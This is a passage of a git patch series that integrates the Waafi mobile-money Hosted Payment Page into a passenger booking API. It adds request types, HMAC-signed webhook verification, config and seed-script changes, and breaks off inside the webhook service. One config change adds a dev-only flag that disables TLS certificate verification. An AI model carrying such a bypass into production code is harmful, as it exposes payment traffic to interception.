From 66b45ce22cedd6d76c7926dfb235daaf03c51e5f Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Wed, 10 Jun 2026 09:14:18 +0300 Subject: [PATCH 01/31] feat(payment-providers): implement Waafi in provider package --- packages/payment-providers/src/index.ts | 18 +- .../src/providers/waafi/waafi.provider.ts | 274 +++++++++--------- .../src/providers/waafi/waafi.types.ts | 103 +++++++ .../src/webhooks/waafi-webhook.types.ts | 79 ++++- packages/types/src/common/payments.ts | 6 + 5 files changed, 325 insertions(+), 155 deletions(-) create mode 100644 packages/payment-providers/src/providers/waafi/waafi.types.ts diff --git a/packages/payment-providers/src/index.ts b/packages/payment-providers/src/index.ts index b7089cae4..1438cbfe0 100644 --- a/packages/payment-providers/src/index.ts +++ b/packages/payment-providers/src/index.ts @@ -39,12 +39,28 @@ export type { TelebirrTradeStatus, } from './providers/telebirr/telebirr.types'; +// Waafi HPP request/response types (exported for apps that build/inspect requests directly) +export type { + WaafiState, + WaafiHppPurchaseRequest, + WaafiHppPurchaseResponse, + WaafiGetTranInfoRequest, + WaafiGetTranInfoResponse, +} from './providers/waafi/waafi.types'; + // Webhook payload types export type { TelebirrWebhookPayload } from './webhooks/telebirr-webhook.types'; export type { CbeBirrWebhookPayload } from './webhooks/cbe-birr-webhook.types'; export type { EBirrWebhookPayload } from './webhooks/ebirr-webhook.types'; export type { CardWebhookPayload } from './webhooks/card-webhook.types'; -export type { WaafiWebhookPayload } from './webhooks/waafi-webhook.types'; +export type { + WaafiWebhookPayload, + WaafiWebhookTransactionPayload, + WaafiWebhookTestPayload, + WaafiWebhookHeaders, + WaafiWebhookEvent, + WaafiWebhookStatus, +} from './webhooks/waafi-webhook.types'; // DI token for injecting all providers as an array (future multi-provider wiring) export const PAYMENT_PROVIDERS = Symbol('PAYMENT_PROVIDERS'); diff --git a/packages/payment-providers/src/providers/waafi/waafi.provider.ts b/packages/payment-providers/src/providers/waafi/waafi.provider.ts index ea16eccb5..515de1786 100644 --- a/packages/payment-providers/src/providers/waafi/waafi.provider.ts +++ b/packages/payment-providers/src/providers/waafi/waafi.provider.ts @@ -11,71 +11,18 @@ import { } from '@edr/types'; import { AxiosError, AxiosRequestConfig } from 'axios'; import { firstValueFrom } from 'rxjs'; +import * as crypto from 'node:crypto'; +import { + WaafiGetTranInfoRequest, + WaafiGetTranInfoResponse, + WaafiHppPurchaseRequest, + WaafiHppPurchaseResponse, +} from './waafi.types'; const WAAFI_HTTP_TIMEOUT_MS = 10_000; - -interface WaafiInitiateRequest { - schemaVersion: string; - requestId: string; - timestamp: string; - channelName: string; - serviceName: string; - serviceParams: { - merchantUid: string; - apiUserId: string; - apiKey: string; - paymentMethod: string; - payerInfo: { - accountNo: string; - }; - transactionInfo: { - referenceId: string; - invoiceId: string; - amount: number; - currency: string; - description: string; - }; - }; -} - -interface WaafiInitiateResponse { - responseCode: string; - responseMsg: string; - params?: { - state: string; - referenceId: string; - transactionId: string; - checkoutUrl?: string; - }; -} - -interface WaafiQueryRequest { - schemaVersion: string; - requestId: string; - timestamp: string; - channelName: string; - serviceName: string; - serviceParams: { - merchantUid: string; - apiUserId: string; - apiKey: string; - transactionId?: string; - referenceId?: string; - }; -} - -interface WaafiQueryResponse { - responseCode: string; - responseMsg: string; - params?: { - state: string; - referenceId: string; - transactionId: string; - amount: number; - currency: string; - paidAmount?: number; - }; -} +const WAAFI_SUCCESS_CODE = '2001'; +/** Waafi cancels an unprocessed HPP session after ~5 minutes (RCS_HPP_USERACTION_TIMEOUT). */ +const WAAFI_HPP_SESSION_MS = 5 * 60_000; @Injectable() export class WaafiProvider implements PaymentProvider { @@ -88,31 +35,30 @@ export class WaafiProvider implements PaymentProvider { ) {} async initiate(input: ProviderInitiationInput): Promise { - const requestBody = this.buildInitiateRequest(input); - const response = await this.postJson( + const requestBody = this.buildPurchaseRequest(input); + const response = await this.postJson( `${this.baseUrl}/asm`, requestBody, ); - if (response.responseCode !== '2001') { + if (response.responseCode !== WAAFI_SUCCESS_CODE) { throw new Error( - `Waafi initiate failed: ${response.responseCode} - ${response.responseMsg}`, + `Waafi HPP_PURCHASE failed: responseCode=${response.responseCode} errorCode=${response.errorCode} msg=${response.responseMsg}`, ); } - const transactionId = response.params?.transactionId; - const checkoutUrl = response.params?.checkoutUrl || `${this.baseUrl}/checkout?ref=${transactionId}`; - - if (!transactionId) { - throw new Error(`Waafi returned no transactionId: ${JSON.stringify(response)}`); + const checkoutUrl = response.params?.hppUrl ?? response.params?.directPaymentLink; + const orderId = response.params?.orderId; + if (!checkoutUrl || !orderId) { + throw new Error( + `Waafi HPP_PURCHASE succeeded but returned no hppUrl/orderId: ${JSON.stringify(response)}`, + ); } - const expiresAt = new Date(Date.now() + 15 * 60_000); // 15 minutes - return { - providerOrderId: transactionId, + providerOrderId: orderId, clientAction: { type: 'REDIRECT', url: checkoutUrl }, - expiresAt, + expiresAt: new Date(Date.now() + WAAFI_HPP_SESSION_MS), rawInitiation: { request: this.sanitize(requestBody), response, @@ -121,113 +67,144 @@ export class WaafiProvider implements PaymentProvider { } async queryStatus(merchantOrderId: string): Promise { - const requestBody = this.buildQueryRequest(merchantOrderId); - const response = await this.postJson( + const requestBody = this.buildGetTranInfoRequest(merchantOrderId); + const response = await this.postJson( `${this.baseUrl}/asm`, requestBody, ); - const state = response.params?.state; + const rawState = response.params?.status ?? response.params?.tranStatusDesc; const transactionId = response.params?.transactionId; - const mapped = this.mapState(state); + const mapped = this.mapStatus(rawState); return { status: mapped, providerTxnId: transactionId, - failureCode: mapped === ProviderPaymentStatus.FAILED && state ? state : undefined, + failureCode: + mapped === ProviderPaymentStatus.FAILED && rawState ? rawState : undefined, rawResponse: response as unknown as Record, }; } - mapState(state: string | undefined): ProviderPaymentStatus { - switch (state) { + /** Map a webhook `payment.status` to the shared status enum. */ + mapWebhookStatus(status: string | undefined): ProviderPaymentStatus { + return this.mapStatus(status); + } + + /** + * Verify an HMAC-SHA256 webhook signature. + * + * Signing string is `{timestamp}.{eventId}.{rawBody}` over the *raw* request body bytes — the + * caller must pass the unparsed body string. Returns false (never throws) on any mismatch so + * callers can treat verification as a boolean gate. + */ + verifyWebhookSignature( + rawBody: string, + signature: string | undefined, + timestamp: string | undefined, + eventId: string | undefined, + ): boolean { + if (!this.webhookSecret) { + this.logger.error('WAAFI_WEBHOOK_SECRET not configured; rejecting all webhooks'); + return false; + } + if (!signature || !timestamp || !eventId) { + this.logger.warn('Waafi webhook missing signature/timestamp/event-id headers'); + return false; + } + + const signingString = `${timestamp}.${eventId}.${rawBody}`; + const expected = crypto + .createHmac('sha256', this.webhookSecret) + .update(signingString) + .digest('hex'); + + const provided = Buffer.from(signature, 'utf8'); + const computed = Buffer.from(expected, 'utf8'); + if (provided.length !== computed.length) return false; + return crypto.timingSafeEqual(provided, computed); + } + + private mapStatus(raw: string | undefined): ProviderPaymentStatus { + switch (raw?.toUpperCase()) { case 'APPROVED': case 'SUCCESS': return ProviderPaymentStatus.SUCCEEDED; - case 'FAILED': - case 'DECLINED': + case 'CANCELED': case 'CANCELLED': + return ProviderPaymentStatus.CANCELLED; + case 'DECLINED': + case 'FAILED': case 'EXPIRED': + case 'TIMEOUT': return ProviderPaymentStatus.FAILED; case 'PENDING': case 'INITIATED': return ProviderPaymentStatus.REQUIRES_ACTION; - case 'PROCESSING': - return ProviderPaymentStatus.PROCESSING; default: return ProviderPaymentStatus.PROCESSING; } } - verifyWebhookSignature(payload: Record): boolean { - // Waafi webhook signature verification - // Implementation depends on Waafi's webhook signature mechanism - const signature = payload.signature as string; - const apiKey = this.apiKey; - - if (!signature || !apiKey) { - this.logger.error('Waafi webhook missing signature or API key not configured'); - return false; - } - - // TODO: Implement actual signature verification based on Waafi documentation - // For now, basic validation - return signature.length > 0; - } - - private buildInitiateRequest(input: ProviderInitiationInput): WaafiInitiateRequest { - const amount = input.amountMinor / 100; // Convert minor units to major - + private buildPurchaseRequest(input: ProviderInitiationInput): WaafiHppPurchaseRequest { return { schemaVersion: '1.0', - requestId: this.generateRequestId(), - timestamp: new Date().toISOString(), + requestId: crypto.randomUUID(), + timestamp: this.timestamp(), channelName: 'WEB', - serviceName: 'API_PURCHASE', + serviceName: 'HPP_PURCHASE', serviceParams: { merchantUid: this.merchantUid, - apiUserId: this.apiUserId, - apiKey: this.apiKey, - paymentMethod: 'MWALLET_ACCOUNT', - payerInfo: { - accountNo: 'CUSTOMER', // Customer enters their number on Waafi page - }, + storeId: this.storeId, + hppKey: this.hppKey, + paymentMethod: this.paymentMethod, + hppSuccessCallbackUrl: this.successUrl, + hppFailureCallbackUrl: this.failureUrl, + hppRespDataFormat: this.respDataFormat, + // MWALLET_ACCOUNT requires the payer phone up front; omit if the caller did not supply it + // and let the hosted page collect it. See docs/waffi open question on payer-phone sourcing. + ...(input.payerAccount + ? { payerInfo: { subscriptionId: input.payerAccount } } + : {}), transactionInfo: { referenceId: input.merchantOrderId, - invoiceId: input.orderRef, - amount, - currency: input.currency === 'ETB' ? 'DJF' : input.currency, // Convert ETB to DJF + amount: this.toAmount(input.amountMinor), + // Waafi has no ETB; `waafi.currency` overrides the booking currency when set. + currency: this.currency || input.currency, description: `EDR ${input.orderRef}`, }, }, }; } - private buildQueryRequest(merchantOrderId: string): WaafiQueryRequest { + private buildGetTranInfoRequest(merchantOrderId: string): WaafiGetTranInfoRequest { return { schemaVersion: '1.0', - requestId: this.generateRequestId(), - timestamp: new Date().toISOString(), + requestId: crypto.randomUUID(), + timestamp: this.timestamp(), channelName: 'WEB', - serviceName: 'API_QUERY', + serviceName: 'HPP_GETTRANINFO', serviceParams: { merchantUid: this.merchantUid, - apiUserId: this.apiUserId, - apiKey: this.apiKey, + storeId: this.storeId, + hppKey: this.hppKey, referenceId: merchantOrderId, }, }; } - private generateRequestId(): string { - return `EDR-${Date.now()}-${Math.random().toString(36).substring(2, 9)}`; + /** Convert integer minor units to a 2-decimal major amount (truncated, never rounded up). */ + private toAmount(amountMinor: number): number { + return Math.trunc(amountMinor) / 100; + } + + private timestamp(): string { + return Math.round(Date.now() / 1000).toString(); } private async postJson(url: string, body: unknown): Promise { const config: AxiosRequestConfig = { - headers: { - 'Content-Type': 'application/json', - }, + headers: { 'Content-Type': 'application/json' }, timeout: WAAFI_HTTP_TIMEOUT_MS, }; @@ -252,24 +229,41 @@ export class WaafiProvider implements PaymentProvider { } } - private sanitize(body: WaafiInitiateRequest): Record { - const sanitized = { ...body }; - if (sanitized.serviceParams?.apiKey) { - sanitized.serviceParams.apiKey = '***REDACTED***'; - } - return sanitized as unknown as Record; + private sanitize(body: WaafiHppPurchaseRequest): Record { + return { + ...body, + serviceParams: { ...body.serviceParams, hppKey: '***REDACTED***' }, + }; } private get baseUrl(): string { - return this.config.get('waafi.baseUrl') ?? 'https://api.waafipay.net'; + return this.config.get('waafi.baseUrl') ?? 'https://sandbox.waafipay.com'; } private get merchantUid(): string { return this.config.get('waafi.merchantUid') ?? ''; } - private get apiUserId(): string { - return this.config.get('waafi.apiUserId') ?? ''; + private get storeId(): string { + return this.config.get('waafi.storeId') ?? ''; } - private get apiKey(): string { - return this.config.get('waafi.apiKey') ?? ''; + private get hppKey(): string { + return this.config.get('waafi.hppKey') ?? ''; + } + private get webhookSecret(): string { + return this.config.get('waafi.webhookSecret') ?? ''; + } + private get paymentMethod(): string { + return this.config.get('waafi.paymentMethod') ?? 'MWALLET_ACCOUNT'; + } + private get currency(): string { + return this.config.get('waafi.currency') ?? ''; + } + private get successUrl(): string { + return this.config.get('waafi.successUrl') ?? ''; + } + private get failureUrl(): string { + return this.config.get('waafi.failureUrl') ?? ''; + } + private get respDataFormat(): number { + return this.config.get('waafi.respDataFormat') ?? 1; } } diff --git a/packages/payment-providers/src/providers/waafi/waafi.types.ts b/packages/payment-providers/src/providers/waafi/waafi.types.ts new file mode 100644 index 000000000..3f3c6f3cf --- /dev/null +++ b/packages/payment-providers/src/providers/waafi/waafi.types.ts @@ -0,0 +1,103 @@ +/** + * WaafiPay (Hosted Payment Page) request/response types. + * + * WaafiPay multiplexes every operation through a single `POST /asm` endpoint, discriminated by + * `serviceName`. We use the HPP family (`HPP_PURCHASE`, `HPP_GETTRANINFO`) which returns a hosted + * redirect URL and supports webhooks — see docs/waffi/intro.md. + */ + +/** Terminal/intermediate transaction states reported by Waafi (sync `state` / `HPP_GETTRANINFO`). */ +export type WaafiState = + | 'APPROVED' + | 'DECLINED' + | 'FAILED' + | 'CANCELED' + | 'EXPIRED' + | 'TIMEOUT' + | string; + +/** Common request envelope shared by every `/asm` call. */ +export interface WaafiRequestEnvelope { + schemaVersion: '1.0'; + requestId: string; + timestamp: string; + channelName: 'WEB'; + serviceName: string; + serviceParams: TServiceParams; +} + +/** Common response envelope. `responseCode === '2001'` means the request was processed (not paid). */ +export interface WaafiResponseEnvelope { + schemaVersion: string; + timestamp: string; + responseId: string; + responseCode: string; + errorCode: string; + responseMsg: string; + params?: TParams; +} + +// --- HPP_PURCHASE ----------------------------------------------------------------------------- + +export interface WaafiHppPurchaseServiceParams { + merchantUid: string; + storeId: string; + hppKey: string; + paymentMethod: string; + hppSuccessCallbackUrl: string; + hppFailureCallbackUrl: string; + /** Callback data format: 1 = POST, 2 = GET, 4 = Result Token. */ + hppRespDataFormat: number; + /** Required for MWALLET_ACCOUNT — pre-fills (and locks) the payer's phone on the hosted page. */ + payerInfo?: { + subscriptionId: string; + }; + transactionInfo: { + referenceId: string; + amount: number; + currency: string; + description?: string; + }; +} + +export type WaafiHppPurchaseRequest = WaafiRequestEnvelope; + +export interface WaafiHppPurchaseParams { + hppUrl: string; + directPaymentLink?: string; + orderId: string; + referenceId: string; +} + +export type WaafiHppPurchaseResponse = WaafiResponseEnvelope; + +// --- HPP_GETTRANINFO -------------------------------------------------------------------------- + +export interface WaafiGetTranInfoServiceParams { + merchantUid: string; + storeId: string; + hppKey: string; + /** Either the merchant referenceId or the Waafi transactionId may be supplied. */ + referenceId?: string; + transactionId?: string; +} + +export type WaafiGetTranInfoRequest = WaafiRequestEnvelope; + +export interface WaafiGetTranInfoParams { + tranStatusDesc?: string; + amount?: string; + payerId?: string; + paymentMethod?: string; + description?: string; + tranDate?: string; + currency?: string; + invoiceId?: string; + referenceId?: string; + tranAmount?: string; + transactionId?: string; + tranStatusId?: string; + status?: WaafiState; +} + +export type WaafiGetTranInfoResponse = WaafiResponseEnvelope; diff --git a/packages/payment-providers/src/webhooks/waafi-webhook.types.ts b/packages/payment-providers/src/webhooks/waafi-webhook.types.ts index 247c46d40..658b293cd 100644 --- a/packages/payment-providers/src/webhooks/waafi-webhook.types.ts +++ b/packages/payment-providers/src/webhooks/waafi-webhook.types.ts @@ -1,15 +1,66 @@ -export interface WaafiWebhookPayload { - schemaVersion: string; - requestId: string; - timestamp: string; - eventType: string; - params: { - state: string; - referenceId: string; - transactionId: string; - amount: number; - currency: string; - description?: string; - }; - signature?: string; +/** + * WaafiPay webhook payloads (HPP authorization / refund / test). + * + * Webhooks are HMAC-SHA256 signed over `{timestamp}.{event_id}.{raw_body}` except `webhook.test`, + * which is unsigned and only sent to validate endpoint reachability. See docs/waffi/intro.md. + */ + +export type WaafiWebhookEvent = 'authorization' | 'refund' | 'webhook.test'; + +export type WaafiWebhookStatus = + | 'APPROVED' + | 'FAILED' + | 'DECLINED' + | 'CANCELED' + | 'EXPIRED' + | 'TIMEOUT' + | string; + +/** Headers Waafi sends alongside signed webhooks (lowercased, as exposed by NestJS). */ +export interface WaafiWebhookHeaders { + 'x-webhook-timestamp'?: string; + 'x-webhook-event-id'?: string; + 'x-webhook-signature'?: string; + 'x-webhook-signature-alg'?: string; } + +/** Nested payment object present on `authorization` and `refund` events. */ +export interface WaafiWebhookPayment { + transaction_id: string; + /** Present on authorization events (optional). */ + order_id?: string; + transfer_code: string; + amount: number; + currency: string; + /** Present on authorization events. */ + payment_method?: string; + status: WaafiWebhookStatus; + /** Our merchantOrderId. */ + reference_id: string; + /** Present on authorization events. */ + channel?: string; + description?: string; + date: string; +} + +/** Unsigned validation ping sent on webhook registration/update. */ +export interface WaafiWebhookTestPayload { + event: 'webhook.test'; + message?: string; + merchant_uid: string; +} + +/** Real transaction notification (authorization or refund). */ +export interface WaafiWebhookTransactionPayload { + event: 'authorization' | 'refund'; + merchant_id: number; + merchant_uid: string; + user_id: string; + /** Authorization only. */ + customer_identity?: string; + /** Authorization only (optional). */ + cardholder_name?: string; + payment: WaafiWebhookPayment; +} + +export type WaafiWebhookPayload = WaafiWebhookTestPayload | WaafiWebhookTransactionPayload; diff --git a/packages/types/src/common/payments.ts b/packages/types/src/common/payments.ts index 243c020f2..f3cb0d541 100644 --- a/packages/types/src/common/payments.ts +++ b/packages/types/src/common/payments.ts @@ -42,6 +42,12 @@ export interface ProviderInitiationInput { amountMinor: number; currency: string; platform?: PaymentPlatform; + /** + * Payer account identifier (e.g. mobile-wallet MSISDN in full international format). + * Optional and provider-specific: some wallet providers (e.g. Waafi HPP with + * MWALLET_ACCOUNT) require the payer's phone number up front to pre-fill the hosted page. + */ + payerAccount?: string; } export interface ProviderInitiationResult { From 310c0a0bc81d6ee7fdf9a8d09603d4485c5d0ac1 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Wed, 10 Jun 2026 11:04:57 +0300 Subject: [PATCH 02/31] Update seed.ts --- apps/edr-passenger-api/prisma/seed.ts | 48 ++++++++++++++------------- 1 file changed, 25 insertions(+), 23 deletions(-) diff --git a/apps/edr-passenger-api/prisma/seed.ts b/apps/edr-passenger-api/prisma/seed.ts index 9baaf6433..3a9402126 100644 --- a/apps/edr-passenger-api/prisma/seed.ts +++ b/apps/edr-passenger-api/prisma/seed.ts @@ -1,4 +1,4 @@ -import { PrismaClient } from '@prisma/client'; +import { Prisma, PrismaClient } from '@prisma/client'; import * as bcrypt from 'bcrypt'; import { v4 as uuidv4 } from 'uuid'; @@ -224,34 +224,36 @@ async function seedCoaches() { create: coach, }); + // Rebuild the coach's seats from scratch. A plain upsert keyed on + // coachId_seatNumber can't reconcile a changed layout (it's blind to the + // @@unique([coachId, row, col]) constraint), so stale row/col data collides. + await prisma.seat.deleteMany({ where: { coachId: c.id } }); + + const seats: Prisma.SeatCreateManyInput[] = []; let seatIndex = 1; for (let row = 1; row <= Math.ceil(coach.capacity / 2); row++) { for (const col of ['A', 'B', 'C', 'D']) { - if (seatIndex <= coach.capacity) { - let bedPosition: string | null = null; - if (c.coachTypeId === ecoBedCoachType!.id || c.coachTypeId === vipBedCoachType!.id) { - if (row % 3 === 1) bedPosition = 'upper'; - else if (row % 3 === 2) bedPosition = 'middle'; - else bedPosition = 'lower'; - } - - await prisma.seat.upsert({ - where: { coachId_seatNumber: { coachId: c.id, seatNumber: seatIndex.toString() } }, - update: { bedPosition }, - create: { - coachId: c.id, - seatNumber: seatIndex.toString(), - row, - col, - isWindow: col === 'A' || col === 'D', - isAisle: col === 'B' || col === 'C', - bedPosition, - }, - }); - seatIndex++; + if (seatIndex > coach.capacity) break; + let bedPosition: string | null = null; + if (c.coachTypeId === ecoBedCoachType!.id || c.coachTypeId === vipBedCoachType!.id) { + if (row % 3 === 1) bedPosition = 'upper'; + else if (row % 3 === 2) bedPosition = 'middle'; + else bedPosition = 'lower'; } + + seats.push({ + coachId: c.id, + seatNumber: seatIndex.toString(), + row, + col, + isWindow: col === 'A' || col === 'D', + isAisle: col === 'B' || col === 'C', + bedPosition, + }); + seatIndex++; } } + await prisma.seat.createMany({ data: seats }); totalSeats += coach.capacity; } console.log(` ✅ ${coaches.length} coaches with ${totalSeats} seats created`); From 214feaedb50548694bab71a99cf738e5d4744279 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Wed, 10 Jun 2026 11:21:34 +0300 Subject: [PATCH 03/31] Update seed.ts --- apps/edr-passenger-api/prisma/seed.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apps/edr-passenger-api/prisma/seed.ts b/apps/edr-passenger-api/prisma/seed.ts index 3a9402126..71f822c7d 100644 --- a/apps/edr-passenger-api/prisma/seed.ts +++ b/apps/edr-passenger-api/prisma/seed.ts @@ -1,6 +1,6 @@ import { Prisma, PrismaClient } from '@prisma/client'; import * as bcrypt from 'bcrypt'; -import { v4 as uuidv4 } from 'uuid'; +import { randomUUID as uuidv4 } from 'crypto'; const prisma = new PrismaClient(); From 3235567b41515b12186a79ecc3581f55b201b83c Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Wed, 10 Jun 2026 16:23:33 +0300 Subject: [PATCH 04/31] feat( waafi ): wire Waafi HPP into passenger API --- apps/edr-passenger-api/.env.example | 22 +- .../src/config/waafi.config.ts | 25 ++- apps/edr-passenger-api/src/main.ts | 4 +- .../webhooks/waafi-webhook.service.ts | 200 +++++++++++++----- .../payments/webhooks/webhooks.controller.ts | 17 +- .../src/providers/waafi/waafi.provider.ts | 15 +- 6 files changed, 212 insertions(+), 71 deletions(-) diff --git a/apps/edr-passenger-api/.env.example b/apps/edr-passenger-api/.env.example index aaf37c3e4..5ea89f4e5 100644 --- a/apps/edr-passenger-api/.env.example +++ b/apps/edr-passenger-api/.env.example @@ -65,13 +65,25 @@ CARD_WEBHOOK_SECRET= CARD_WEBHOOK_URL= CARD_RETURN_URL= -# Waafi (Djibouti Mobile Money) -WAAFI_BASE_URL=https://api.waafipay.net +# Waafi (Djibouti Mobile Money — Hosted Payment Page) +# Sandbox: https://sandbox.waafipay.net | Production: https://api.waafipay.net +WAAFI_BASE_URL=https://sandbox.waafipay.net WAAFI_MERCHANT_UID= -WAAFI_API_USER_ID= -WAAFI_API_KEY= +WAAFI_STORE_ID= +WAAFI_HPP_KEY= +# HMAC secret returned once by WEBHOOK_REGISTER — verifies inbound webhooks +WAAFI_WEBHOOK_SECRET= +WAAFI_PAYMENT_METHOD=MWALLET_ACCOUNT +# Waafi has no ETB; overrides booking currency (USD/DJF/SLSH) +WAAFI_CURRENCY=DJF +WAAFI_HPP_SUCCESS_URL= +WAAFI_HPP_FAILURE_URL= +# 1 = POST, 2 = GET, 4 = Result Token +WAAFI_HPP_RESP_FORMAT=1 +# Registered webhook URL (registration done out-of-band) WAAFI_NOTIFY_URL= -WAAFI_RETURN_URL= +# DEV ONLY — disable TLS cert verification (sandbox serves a *.waafi.com cert). Never true in prod. +WAAFI_INSECURE_TLS=false # Payment Configuration PAYMENT_PROVIDERS_ENABLED=TELEBIRR,CBE_BIRR,EBIRR,CARD,WALLET,WAAFI diff --git a/apps/edr-passenger-api/src/config/waafi.config.ts b/apps/edr-passenger-api/src/config/waafi.config.ts index c3afab7ce..639e66e2b 100644 --- a/apps/edr-passenger-api/src/config/waafi.config.ts +++ b/apps/edr-passenger-api/src/config/waafi.config.ts @@ -1,10 +1,27 @@ import { registerAs } from '@nestjs/config'; export default registerAs('waafi', () => ({ - baseUrl: process.env.WAAFI_BASE_URL ?? 'https://api.waafipay.net', + // `/asm` is appended in the provider; use sandbox by default, switch to + // https://api.waafipay.net in production. + baseUrl: process.env.WAAFI_BASE_URL ?? 'https://sandbox.waafipay.net', + // HPP credentials (Hosted Payment Page family). merchantUid: process.env.WAAFI_MERCHANT_UID ?? '', - apiUserId: process.env.WAAFI_API_USER_ID ?? '', - apiKey: process.env.WAAFI_API_KEY ?? '', + storeId: process.env.WAAFI_STORE_ID ?? '', + hppKey: process.env.WAAFI_HPP_KEY ?? '', + // HMAC secret returned once by WEBHOOK_REGISTER; verifies inbound webhooks. + webhookSecret: process.env.WAAFI_WEBHOOK_SECRET ?? '', + // Wallet payment method (EVC/ZAAD/Sahal) — MWALLET_ACCOUNT requires the payer phone up front. + paymentMethod: process.env.WAAFI_PAYMENT_METHOD ?? 'MWALLET_ACCOUNT', + // Waafi has no ETB; when set this overrides the booking currency (USD/DJF/SLSH). + currency: process.env.WAAFI_CURRENCY ?? 'DJF', + // Browser redirect targets after the hosted page completes/fails (UX only; webhook is source of truth). + successUrl: process.env.WAAFI_HPP_SUCCESS_URL ?? '', + failureUrl: process.env.WAAFI_HPP_FAILURE_URL ?? '', + // Callback data format: 1 = POST, 2 = GET, 4 = Result Token. + respDataFormat: Number(process.env.WAAFI_HPP_RESP_FORMAT ?? '1'), + // Registered webhook URL (reference only; registration is performed out-of-band). notifyUrl: process.env.WAAFI_NOTIFY_URL ?? '', - returnUrl: process.env.WAAFI_RETURN_URL ?? '', + // DEV ONLY: disable TLS cert verification. The Waafi sandbox serves a *.waafi.com cert that + // does not match sandbox.waafipay.net (ERR_TLS_CERT_ALTNAME_INVALID). Never enable in prod. + insecureTls: process.env.WAAFI_INSECURE_TLS === 'true', })); diff --git a/apps/edr-passenger-api/src/main.ts b/apps/edr-passenger-api/src/main.ts index fe853ef76..a7bd85f81 100644 --- a/apps/edr-passenger-api/src/main.ts +++ b/apps/edr-passenger-api/src/main.ts @@ -8,7 +8,9 @@ import { ResponseTransformInterceptor } from "./common/interceptors/response-tra import { SessionActivityInterceptor } from "./common/interceptors/session-activity.interceptor"; async function bootstrap() { - const app = await NestFactory.create(AppModule); + // rawBody: true buffers the unparsed request body onto req.rawBody so webhook handlers + // (e.g. Waafi HMAC verification) can sign over the exact bytes the provider signed. + const app = await NestFactory.create(AppModule, { rawBody: true }); app.enableCors({ origin: [ diff --git a/apps/edr-passenger-api/src/modules/payments/webhooks/waafi-webhook.service.ts b/apps/edr-passenger-api/src/modules/payments/webhooks/waafi-webhook.service.ts index 972b09b3d..3b9110920 100644 --- a/apps/edr-passenger-api/src/modules/payments/webhooks/waafi-webhook.service.ts +++ b/apps/edr-passenger-api/src/modules/payments/webhooks/waafi-webhook.service.ts @@ -1,93 +1,181 @@ import { Injectable, Logger } from '@nestjs/common'; +import { Prisma, PaymentIntentStatus, PaymentMethodType } from '@prisma/client'; import { WaafiProvider, WaafiWebhookPayload, + WaafiWebhookHeaders, + WaafiWebhookTransactionPayload, ProviderPaymentStatus, } from '@edr/payment-providers'; -import { PaymentIntentStatus, PaymentMethodType } from '@prisma/client'; import { PrismaService } from '../../../common/prisma.service'; import { PaymentsService } from '../payments.service'; +/** Reject webhooks whose timestamp is older than this (replay protection). */ +const WAAFI_REPLAY_WINDOW_SECONDS = 300; + @Injectable() export class WaafiWebhookService { private readonly logger = new Logger(WaafiWebhookService.name); constructor( - private prisma: PrismaService, - private paymentsService: PaymentsService, - private waafiProvider: WaafiProvider, + private readonly prisma: PrismaService, + private readonly provider: WaafiProvider, + private readonly payments: PaymentsService, ) {} - async handleWebhook(payload: WaafiWebhookPayload): Promise<{ received: boolean }> { - this.logger.log( - `Waafi webhook received: event=${payload.eventType} ref=${payload.params?.referenceId}`, - ); + async handleWebhook( + payload: WaafiWebhookPayload, + rawBody: string, + headers: WaafiWebhookHeaders, + ): Promise<{ received: boolean }> { - const signatureValid = this.waafiProvider.verifyWebhookSignature( - payload as unknown as Record, - ); + console.log("Waafi Webhook Service"); + // Unsigned validation ping sent on registration — acknowledge without verifying or persisting. + if (payload.event === 'webhook.test') { + this.logger.log('Waafi webhook.test ping received'); + return { received: true }; + } - const merchantOrderId = payload.params?.referenceId; - const transactionId = payload.params?.transactionId; - const state = payload.params?.state; + const { payment } = payload; + const merchantOrderId = payment.reference_id; + const providerTxnId = payment.transaction_id; + const eventId = headers['x-webhook-event-id']; + const timestamp = headers['x-webhook-timestamp']; + const signature = headers['x-webhook-signature']; - await this.prisma.paymentWebhookEvent.create({ - data: { - provider: PaymentMethodType.WAAFI, - externalEventId: payload.requestId, - merchantOrderId, - providerTxnId: transactionId, - signatureValid, - status: state || 'UNKNOWN', - payload: payload as any, - }, + const signatureValid = + this.isFresh(timestamp) && + this.provider.verifyWebhookSignature(rawBody, signature, timestamp, eventId); + + // X-Webhook-Event-Id is unique per event; fall back to a derived id if absent. + const externalEventId = eventId ?? `${providerTxnId}_${payment.status}`; + + const eventRow = await this.persistEvent({ + externalEventId, + merchantOrderId, + providerTxnId, + signatureValid, + status: payment.status, + payload, }); + if (!eventRow) { + this.logger.log(`Waafi webhook duplicate: ${externalEventId} — short-circuit OK`); + return { received: true }; + } + if (!signatureValid) { - this.logger.warn(`Waafi webhook signature invalid for ref=${merchantOrderId}`); + this.logger.warn(`Waafi webhook signature invalid/stale for ref=${merchantOrderId}`); + await this.markProcessed(eventRow.id, 'signature-invalid'); return { received: true }; } - if (!merchantOrderId) { - this.logger.error('Waafi webhook missing referenceId'); - return { received: true }; - } - - const intent = await this.prisma.paymentIntent.findFirst({ + const intent = await this.prisma.paymentIntent.findUnique({ where: { merchantOrderId }, }); - if (!intent) { - this.logger.warn(`No PaymentIntent found for merchantOrderId=${merchantOrderId}`); + this.logger.warn(`Waafi webhook: no PaymentIntent for ref=${merchantOrderId}`); + await this.markProcessed(eventRow.id, 'intent-not-found'); return { received: true }; } - const mappedStatus = this.waafiProvider.mapState(state); + const mapped = this.provider.mapWebhookStatus(payment.status); - if (mappedStatus === ProviderPaymentStatus.SUCCEEDED) { - await this.paymentsService.finalizePaymentSuccess({ - intentId: intent.id, - providerTxnId: transactionId, - }); - this.logger.log(`Waafi payment succeeded: intent=${intent.id} txn=${transactionId}`); - } else if (mappedStatus === ProviderPaymentStatus.FAILED) { - await this.paymentsService.markPaymentFailed({ - intentId: intent.id, - failureCode: state, - failureMessage: payload.params?.description, - }); - this.logger.log(`Waafi payment failed: intent=${intent.id} state=${state}`); - } else { - await this.prisma.paymentIntent.update({ - where: { id: intent.id }, - data: { - status: mappedStatus as unknown as PaymentIntentStatus, - providerTxnId: transactionId, - }, - }); - this.logger.log(`Waafi payment status updated: intent=${intent.id} status=${mappedStatus}`); + try { + if (payload.event === 'refund') { + // Refund state is owned by PaymentsService.refund; just record the notification. + this.logger.log( + `Waafi refund 